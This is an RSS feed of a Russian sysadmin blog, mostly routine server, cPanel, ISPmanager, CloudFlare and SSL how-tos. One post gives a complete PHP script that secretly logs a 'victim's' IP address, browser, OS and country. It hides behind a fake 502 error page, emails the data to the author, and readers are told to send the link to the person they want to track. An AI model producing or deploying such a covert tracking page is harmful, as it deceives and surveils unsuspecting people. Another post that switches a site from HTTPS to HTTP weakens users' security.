LEXBLOG.org https://lexblog.org Информационный сайт Sat, 12 Oct 2019 14:39:36 +0000 ru-RU hourly 1 https://lexblog.org/wp-content/uploads/2019/09/logo_x-150x150.png LEXBLOG.org https://lexblog.org 32 32 Обновлять часть контента на странице javascript https://lexblog.org/obnovlyat-chast-kontenta-na-stranitse-javascript/ https://lexblog.org/obnovlyat-chast-kontenta-na-stranitse-javascript/#respond Sat, 12 Oct 2019 14:39:36 +0000 https://lexblog.org/?p=1013 Если на странице нужно обновлять часть данных и не ставить на автоматическую перезагрузку целую страницу, можно обновлять только нужную нас часть.

Контент который который нам нужен для обновления, необходимо заключить в отдельный div в html разметке с определённым id. К примеру у меня есть часть скрипта который выводит load average на машине:

<div  id="scores3"><?php system('uptime | cut -f5 -d ":"'); ?></div>

id у него scores3. В мета теги добавляем код javascript:

<script type="text/javascript">
setInterval(function(){
$("#scores3").load("index.php #scores3");
}, 3000); 
</script>

Где мы указываем id нашего div и саму страницу, в данном случае это index.php.

3000 — время обновления страницы.

]]>
https://lexblog.org/obnovlyat-chast-kontenta-na-stranitse-javascript/feed/ 0
Создание базы данных в cPanel API bash консоль https://lexblog.org/sozdanie-bazy-dannyh-v-cpanel-api-bash-konsol/ https://lexblog.org/sozdanie-bazy-dannyh-v-cpanel-api-bash-konsol/#respond Sat, 12 Oct 2019 13:19:07 +0000 https://lexblog.org/?p=1009 Допустим есть задача заскриптовать бекап на аккаунте в cPanel. Для этого будем использовать IP.

Чтобы создать базу данных на аккаунте, используем команду:

uapi Mysql create_database name="yourlogin_NAMEDATABASE"

Где, yourlogin — логин аккаунта cPanel, NAMEDATABASE — название базы после логина аккаунта.

Чтобы создать пользователя базы данных и задать ему пароль, используем команду:

uapi Mysql create_user name="yourlogin_NAMEUSER" password="PASS"

Где, Где, yourlogin — логин аккаунта cPanel, NAMEUSER — название пользователя после логина аккаунта, PASS — пароль создаваемого пользователя.

Чтобы добавить созданного пользователя в нашу базу, выполняем команду:

uapi Mysql set_privileges_on_database user="yourlogin_NAMEUSER" database="yourlogin_NAMEDATABASE" privileges=ALL%20PRIVILEGES

Можно так же написать скрипт, который будет создавать всё автоматически и выводить базу данных, пользователя и пароль. Пример скрипта:

#!/bin/bash
LOGIN_HOST="yourlogin"
PASS_DB=$(cat /dev/urandom | tr -d -c '0-9a-zA-Z' | fold -w 10 | head -1)
NAME_DB=$(cat /dev/urandom | tr -d -c '0-9a-zA-Z' | fold -w 8 | head -1)

#create database
uapi Mysql create_database name="$LOGIN_HOST"_"$NAME_DB"

#create user
uapi Mysql create_user name="$LOGIN_HOST"_"$NAME_DB" password="$PASS_DB"

#privileges
uapi Mysql set_privileges_on_database user="$LOGIN_HOST"_"$NAME_DB" database="$LOGIN_HOST"_"$NAME_DB" privileges=ALL%20PRIVILEGES

clear

echo "$LOGIN_HOST"_"$NAME_DB" 
echo "$PASS_DB"

Разберём переменные:

LOGIN_HOST — содержим имя пользователя аккаунта cPanel.
PASS_DB — генерирует пароль для пользователя базы данных.
NAME_DB — генерирует название для пользователя и базы.

Тем самым, название пользователя и базы данных у нас будут одинаковыми.

]]>
https://lexblog.org/sozdanie-bazy-dannyh-v-cpanel-api-bash-konsol/feed/ 0
Скрипт PHP для получения IP, браузера и ос посетителя https://lexblog.org/skript-php-dlya-polucheniya-ip-brauzera-i-os-posetitelya/ https://lexblog.org/skript-php-dlya-polucheniya-ip-brauzera-i-os-posetitelya/#respond Fri, 11 Oct 2019 13:01:03 +0000 https://lexblog.org/?p=1005 Рассмотрим как можно сделать простой скрип для получения IP, браузера и ос жертвы.

Получить данные можно просто :

$user_agent = $_SERVER["HTTP_USER_AGENT"];

Переменная даём нам строку пользовательского агента — это текст, который сами браузеры отправляют на веб-сервер, чтобы идентифицировать себя, чтобы веб-сайты могли отправлять разные материалы на основе браузера или на основе совместимости с браузером. Пример вывода этих данные будет таков:

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Тут видно, что  используется браузер Chrome и операционная система LINUX.

Обратите внимание, что эти данные можно легко подменить!

Чтобы не выводить целую строку, можно написать простой скрипт для вывода только IP, браузера и ОС:

$IP = $_SERVER["REMOTE_ADDR"];
$firefox = "Firefox";
$opera = "Opera";
$chrome = "Chrome";
$explorer = "Internet Explorer";
$safari = "Safari";
$edit_b = "unknown";
$user_agent = $_SERVER["HTTP_USER_AGENT"];
if (strpos($user_agent, "Firefox") !== false) $osystem = "$firefox";
elseif (strpos($user_agent, "Opera") !== false) $osystem = "$opera";
elseif (strpos($user_agent, "Chrome") !== false) $osystem = "$chrome";
elseif (strpos($user_agent, "MSIE") !== false) $osystem = "$explorer";
elseif (strpos($user_agent, "Safari") !== false) $osystem = "$safari";
else $osystem = "$edit_b";
$win = "Windows";
$linux = "Linux";
$ios = "iOS";
$edit_b = "unknown";
$user_agent = getenv("HTTP_USER_AGENT");
if (strpos($user_agent, "Windows") !== false) $browser = "$win";
elseif (strpos($user_agent, "Linux") !== false) $browser = "$linux";
elseif (strpos($user_agent, "iOS") !== false) $browser = "$ios";
else $browser = "$edit_b";
echo "IP= $IP 
browser= $browser 
system= $osystem";

Тем самым будет выводиться следующие данные:

IP= 123.45.67.890
browser= Linux
system= Chrome

Добавим еще маленький скрипт определения геолокации:

$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = @$_SERVER['REMOTE_ADDR'];
$result = array('country'=>'', 'city'=>'');

if(filter_var($client, FILTER_VALIDATE_IP)) $ip = $client;
elseif(filter_var($forward, FILTER_VALIDATE_IP)) $ip = $forward;
else $ip = $remote;

$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));
if($ip_data && $ip_data->geoplugin_countryName != null)
{
$result = $ip_data->geoplugin_countryCode;
}
echo "$result";

В итоге мы получим готовый скрипт определения IP, браузера, операционной системы и геолокацию.

Всё это можно подменить чем угодно. Давайте замаскируем всё это под ошибку сервер, чтобы ничего не подозревали. То есть, посетитель будет открывать сайт, будет видеть ошибку и просто закроет сайт, а данные упадут нам на почту.

Чтобы отправить все данные на почту, дописываем вот такой скрипт отправки сообщения, и в переменную $message пропишем все выводы:

$to = 'YOUR_MAIL@MAIL.COM';
$subject = 'the subject';
$message = "IP= $IP 
browser= $browser 
system= $osystem
$user_agent
$result";
$headers = 'From: webmaster@example.com' . "\r\n" .
'Reply-To: webmaster@example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);

В переменную $to прописываем свою почту, на которую мы должны получить результаты, из самого скрипта удаляем все строки с выводом echo.

В начале добавляем простой HTML шаблон ошибки, например, 502:

<center><h1>502 Bad Gateway</h1><hr>nginx/0.6.73</center>

В итоге у нас должен получится такой скрипт:

<?php
echo "<center><h1>502 Bad Gateway</h1><hr>nginx/0.6.73</center>";
$IP = $_SERVER["REMOTE_ADDR"];
$firefox = "Firefox";
$opera = "Opera";
$chrome = "Chrome";
$explorer = "Internet Explorer";
$safari = "Safari";
$edit_b = "unknown";
$user_agent = $_SERVER["HTTP_USER_AGENT"];
if (strpos($user_agent, "Firefox") !== false) $osystem = "$firefox";
elseif (strpos($user_agent, "Opera") !== false) $osystem = "$opera";
elseif (strpos($user_agent, "Chrome") !== false) $osystem = "$chrome";
elseif (strpos($user_agent, "MSIE") !== false) $osystem = "$explorer";
elseif (strpos($user_agent, "Safari") !== false) $osystem = "$safari";
else $osystem = "$edit_b";
$win = "Windows";
$linux = "Linux";
$ios = "iOS";
$edit_b = "unknown";
$user_agent = getenv("HTTP_USER_AGENT");
if (strpos($user_agent, "Windows") !== false) $browser = "$win";
elseif (strpos($user_agent, "Linux") !== false) $browser = "$linux";
elseif (strpos($user_agent, "iOS") !== false) $browser = "$ios";
else $browser = "$edit_b";

$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = @$_SERVER['REMOTE_ADDR'];
$result = array('country'=>'', 'city'=>'');

if(filter_var($client, FILTER_VALIDATE_IP)) $ip = $client;
elseif(filter_var($forward, FILTER_VALIDATE_IP)) $ip = $forward;
else $ip = $remote;

$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));
if($ip_data && $ip_data->geoplugin_countryName != null)
{
$result = $ip_data->geoplugin_countryCode;
}

$to = 'YOUR_MAIL@MAIL.COM';
$subject = 'the subject';
$message = "IP= $IP 
browser= $browser 
system= $osystem
$user_agent
$result";
$headers = 'From: webmaster@example.com' . "\r\n" .
'Reply-To: webmaster@example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);
?>

Добавляем страницу на сайт и кидаем ссылку тому, от кого хотим получить эти данные.

Внимание! Если пользователь использует прокси\впн\анонимайзер — эти данные не будут корректные.

Всем удачи 🙂

]]>
https://lexblog.org/skript-php-dlya-polucheniya-ip-brauzera-i-os-posetitelya/feed/ 0
ERR CONTENT DECODING FAILED | белый экран при открытии сайта imageCMS https://lexblog.org/err-content-decoding-failed-belyj-ekran-pri-otkrytii-sajta-imagecms/ https://lexblog.org/err-content-decoding-failed-belyj-ekran-pri-otkrytii-sajta-imagecms/#respond Fri, 11 Oct 2019 12:34:14 +0000 https://lexblog.org/?p=1002 Иногда при переносе сайта imageCMS или ошибка «ERR CONTENT DECODING FAILED«, при том что настройки прописаны правильно и к базе доступы все так же прописаны.

Для решения этой проблемы открываем конфиг php.ini и ищем строку «zlib.output_compression = On«:

nano /etc/php.ini

Изменяем строку на:

zlib.output_compression = Off

Перезагружаем apache одной из следующих команд:

service httpd restart 
/etc/ini.d/httpd restart
service apache2 restart
/etc/ini.d/apache2 restart

И проверяем работу сайта.

]]>
https://lexblog.org/err-content-decoding-failed-belyj-ekran-pri-otkrytii-sajta-imagecms/feed/ 0
Редирект с https на http (отлючение SSL) (nginx) https://lexblog.org/redirekt-s-https-na-http-otlyuchenie-ssl-nginx/ https://lexblog.org/redirekt-s-https-na-http-otlyuchenie-ssl-nginx/#respond Thu, 26 Sep 2019 23:17:02 +0000 https://lexblog.org/?p=966 В конфиге нужного сайта добавляем в location следующее:

if ($scheme = https) {
         rewrite ^(.*)? http://$http_host$1 permanent;
}

Перезапускаем nginx и проверяем.

]]>
https://lexblog.org/redirekt-s-https-na-http-otlyuchenie-ssl-nginx/feed/ 0
ISPmanager. Проблема с загрузкой файлов после установки FastCGI https://lexblog.org/ispmanager-problema-s-zagruzkoj-fajlom-posle-ustanovki-fastcgi/ https://lexblog.org/ispmanager-problema-s-zagruzkoj-fajlom-posle-ustanovki-fastcgi/#respond Thu, 26 Sep 2019 23:13:35 +0000 https://lexblog.org/?p=962 Подключаемся к сервер по SSH.

Редактируем файл /etc/httpd/conf.d/fcgid.conf

nano /etc/httpd/conf.d/fcgid.conf

Добавляем в конец строки:

FcgidConnectTimeout 200
MaxRequestLen 99000000
FcgidMaxRequestLen 99000000

Перезапускаем apache и ngnix

service httpd restart ; service ngnix restart

Проверяем загрузку файлов.

 

]]>
https://lexblog.org/ispmanager-problema-s-zagruzkoj-fajlom-posle-ustanovki-fastcgi/feed/ 0
Обновить версию PHP до 5.6 ISPmanager 4 (Centos 6) https://lexblog.org/obnovit-versiyu-php-do-5-6-ispmanager-4-centos-6/ https://lexblog.org/obnovit-versiyu-php-do-5-6-ispmanager-4-centos-6/#respond Thu, 26 Sep 2019 22:59:38 +0000 https://lexblog.org/?p=959 Удалять старую версию PHP не нужно. Подключаемся к серверу по SSH.

Скачиваем и подключаем репозиторий REMI:

wget -P /root/ http://rpms.famillecollet.com/enterprise/remi-release-6.rpm
rpm -ivh /root/remi-release-6.rpm

В файле remi.repo подключаем нужную версию PHP, Где «enabled=0» изменить на  ‘enabled=1’ напротив необходимого php.

nano /etc/yum.repos.d/remi.repo

Выполняем обновление.

yum -y update

После окончания обновления чистим кэш панели ISPmanager 4 и перезапускаем её:

/usr/local/ispmgr/sbin/pkgctl -D cache
killall -9 -r ispmgr

Готово!

]]>
https://lexblog.org/obnovit-versiyu-php-do-5-6-ispmanager-4-centos-6/feed/ 0
Ускорить сайт с помощью CloudFlare https://lexblog.org/uskorit-sajt-s-pomoshhyu-cloudflare/ https://lexblog.org/uskorit-sajt-s-pomoshhyu-cloudflare/#respond Tue, 24 Sep 2019 11:41:15 +0000 https://lexblog.org/?p=945 У CloudFlare есть очень много разных полезных бесплатных функций. Настроим проксирование так, чтобы немного ускорить сайт.

Авторизируемся в кабинет CloudFlare, выбираем нужный сайт и переходи в раздел «Speed» на вкладку «Optimization«:

Находим параметр «Auto Minify» и устанавливаем все отметки:

Ниже будет параметр «Brotli» который так же нужно включить:

В этом же разделе так же включите параметр «Rocket Loader™«:

Далее перейдите в раздел «Caching«:

Находим параметр «Caching Level» и ставим отметку на «Standard«:

Ниже есть параметр «Browser Cache Expiration«, с его помощью мы задаем нужный нам период кеширования, в нашем случае это 12 часов:

Так же есть параметр «Always Online™«.  Вы можете включить его если хотите чтобы CloudFlare отдавал статические страницы когда Ваш сайт недоступен:

Таким образом мы можем ускорить сайт от 20%. Удачи 🙂

]]>
https://lexblog.org/uskorit-sajt-s-pomoshhyu-cloudflare/feed/ 0
Обновить ключ лицензии ISPmanager https://lexblog.org/obnovit-klyuch-litsenzii-ispmanager/ https://lexblog.org/obnovit-klyuch-litsenzii-ispmanager/#respond Mon, 23 Sep 2019 15:00:53 +0000 https://lexblog.org/?p=926 Иногда после просрочки лицензии панель блокируется или вовсе перестаёт работать, хотя лицензия продлена.

Для этого подключаемся к серверу по SSH выполняем следующие действия.

 

Для ISP manager 4:

Удаляем файл лицензии:

rm -f /usr/local/ispmgr/etc/ispmgr.lic

И загружаем новый файл командой:

wget -O /usr/local/ispmgr/etc/ispmgr.lic http://lic.ispsystem.com/ispmgr.lic?ip=123.45.67.89

Где, 123.45.67.89 — IP Вашего сервера.

Перезапускаем панель:

killall ispmgr

 

Для ISPmanager 5:

Удаляем файл лицензии и файл блокировки:

rm -f /usr/local/mgr5/etc/ispmgr.lic

rm -f /usr/local/mgr5/etc/ispmgr.lic.lock

Загружаем новый файл лицензии:

wget -O /usr/local/mgr5/etc/ispmgr.lic http://lic.ispsystem.com/ispmgr.lic?ip=123.45.67.89

Где, 123.45.67.89 — IP Вашего сервера.

Перазапускаем панель:

killall core

или

/usr/local/mgr5/sbin/mgrctl -m ispmgr exit

 

Проверяем работу панели 🙂

]]>
https://lexblog.org/obnovit-klyuch-litsenzii-ispmanager/feed/ 0
Как получить бесплатный SSL сертификат https://lexblog.org/kak-poluchit-besplatnyj-ssl-sertifikat/ https://lexblog.org/kak-poluchit-besplatnyj-ssl-sertifikat/#respond Mon, 23 Sep 2019 13:47:39 +0000 https://lexblog.org/?p=907 Бывают моменты когда за сертификат не хочется платить, а браузеры вешают предупреждение на Ваш сайт, так как на нём либо самоподписный сертификат, либо уже просрочен. Давайте разберем несколько способов получения сертификата.

1. Сертификат от Lets Encrypt.

Его можно получить разными способами. Можно на сервере запустить скрипт certbot, который поставит Вам все автоматически, но он не будет работать, если у Вас стоит какая-то панель, так как скрипт перезаписывает конфиги, в результате чего Ваша панель может работать неисправно. Этот способ я опишу в отдельной статье в другой раз.

Для получения сертификата LE переходим на сайт https://www.sslforfree.com/ и прописываем в текстовое поле Ваш домен:

После чего нажимаем на кнопку «Create Free SSL Certificate«.  После чего падаем на страницу выбора валидации домена:

Первый способ валидации — Automatic FTP Verification. Вы предоставляете доступ ФТП аккаунту Вашего сайта, после чего валидация происходит автоматически.

Второй способ — Manual Verification. Не всегда работает, так как вам нужно создать папку в корне Вашего сайта и загрузить в неё файлы.

Третий способ — Manual Verification (DNS). Используемый способ и самый надежный. Вы просто добавляете TXT записи в ДНС зону Вашего сайта.

В данном случае мы выбираем третий способ валидации и попадаем на страницу с инструкцией, где указаны какие именно записи нужно создать нам в ДНС зоне:

В данном случае нам нужно создать две TXT записи вида:

_acme-challenge.lexblog.org TXT 7p_X4AxmFm0zbpc11ItetLbgPjW9rFzqvF7sty3Xq3M

_acme-challenge.www.lexblog.org TXT mA2vq0yZkLOd3nmz8OE-_veoMO-CSo1l8Be8RsTKg_8

И присвоить им TTL — 1.

Переходим в свою ДНС зону (куда направлен наш домен) и добавляем там эти записи. На некоторых хостингах которые используют DirectAdmin и cPanel панель этом можно сделать в панели управления. Для DirectAdmin  — Аккаунты — Управления ДНС. Для cPanelZone DNS editor.

В нашем случае у нас домен использует ДНС cloudflare. Значит логинимся в cloudflare, переходим в раздел DNS и добавляем нужные записи:

TTL ставим минимальный, и просто дожидаемся пока обновятся ДНС. В cloudflare минимальный TTL используется 2 мин. Просто подождём 2 минуты пока обновятся записи и нажмём кнопку «Download SSL Certificate«. После чего получим наш готовый бесплатный сертификат:

 

2. Сертификат от CloudFlare

Если вы используете cloudflare то наверняка знаете что на нём есть возможность получить бесплатный сертификат на 15 лет, а главное доверенный.

Чтобы его получить — перейдите в свой личный кабинет cloudflare, найдите раздел Origin Certificates и нажмите на кнопку Create Certificate:

В открытом окне cloudflare сам уже установим нужные параметры. Просто нажимаете кнопку «Next» и получаем готовый сертификат:

Обратите внимание! Данный сертификат будет работать только если включено прокси cloudflare.

3. Сертификат от Comodo

Совсем недавно Comodo начали выдавать бесплатный доверенный сертификат на 90 дней. Получить его можно по ссылке: free comodo ssl

Переходим на страницу заказа, указываем свой домен и соглашаемся с политикой:

Нажимаем на кнопку «Checkout«:

Заполняем поля нужными данными и нажимаем кнопку «Complete order«:

 

 

После завршение заказ, подтвердите почтовый ящик, который вы указали при регистрации. После чего перейдите в заказы и нажмите на кнопку «Setup ssl.comodo.com SSL Certificate«:

После чего Вас перенаправит на страницу ввода CSR кода, если его у Вас нет, можете сгенерировать по ссылке: https://ssl.com.ua/online-CSR-generator/

Не забудьте при генерации сохранить приватный ключ!

После вода CSR кода внизу страницы выберите нужный один EMAIL и нажмите кнопку «Click to Continue >>«:

На выбранный Вами EMAIL прийдёт письмо с верификацией сертификата. Перейдите по ссылке, которая указана в данном письме и в скоре вы получите Ваш сертификат.

 

На этом всё. Удачи 🙂

]]>
https://lexblog.org/kak-poluchit-besplatnyj-ssl-sertifikat/feed/ 0